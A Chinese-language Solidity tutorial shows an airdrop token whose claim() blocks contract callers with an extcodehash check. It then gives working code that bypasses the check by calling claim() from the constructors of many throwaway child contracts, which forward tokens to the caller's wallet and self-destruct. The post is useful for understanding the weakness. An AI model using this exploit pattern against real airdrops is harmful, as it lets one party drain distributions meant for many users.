0%

solidity | 突破 CA 限制

在看这篇博文之前,希望你看了

参考资料

改造 RND 合约

首先,我们把之前的合约修改一下,变成合约不能 claim 的合约。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract Rnd is ERC20 {
uint256 public _totalSupply = uint256(37800000000000 ether);
mapping(address => bool) public is_claim;

constructor() ERC20("random", "RND"){
}


function claim() external {
require(!isContract(msg.sender), "address is contract");
if (is_claim[msg.sender] == false) {
is_claim[msg.sender] = true;
_mint(msg.sender, 100 wei);
}
}

function isContract(address account) public view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
}

合约部署如下

调用的脚本还有撸空投的合约请参考

如果是用非合约地址撸,那就没问题。

下面的例子,也是用突破 CA 限制写的。

如果不写在 constructor ,而是写在方法中,就会被 CA 限制给拦下来,至于例子就不写了,感兴趣的可以自己实现一下。

突破 CA 限制

经过改造后的 RND 合约,可以防止合约撸空投,但是,如果了解合约部署远离,那么,我们就有办法突破 CA 限制。

合约如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pragma solidity ^0.7.0;

interface airdrop {
function transfer(address recipient, uint256 amount) external;

function balanceOf(address account) external view returns (uint256);

function claim() external;
}

contract RndGet {
//RND的合约地址
address constant contra = address(0x4102E14c1815647AA0dEe5A39a7ECA7D0Ad65751);

//创建子合约
function call(uint256 times) public {
for (uint i = 0; i < times; ++i) {
new claimer(contra);
}
}
}

contract claimer {
constructor(address contra){
//领取空投
airdrop(contra).claim();
//获得领取的空投数量
uint256 balance = airdrop(contra).balanceOf(address(this));
//把空投的币转回主钱包
airdrop(contra).transfer(address(tx.origin), balance);
//销毁子合约
selfdestruct(payable(address(msg.sender)));
}
}

将提取空投的命令放到 constructor 中,就能有效的绕过 CA 限制。

请我喝杯咖啡吧~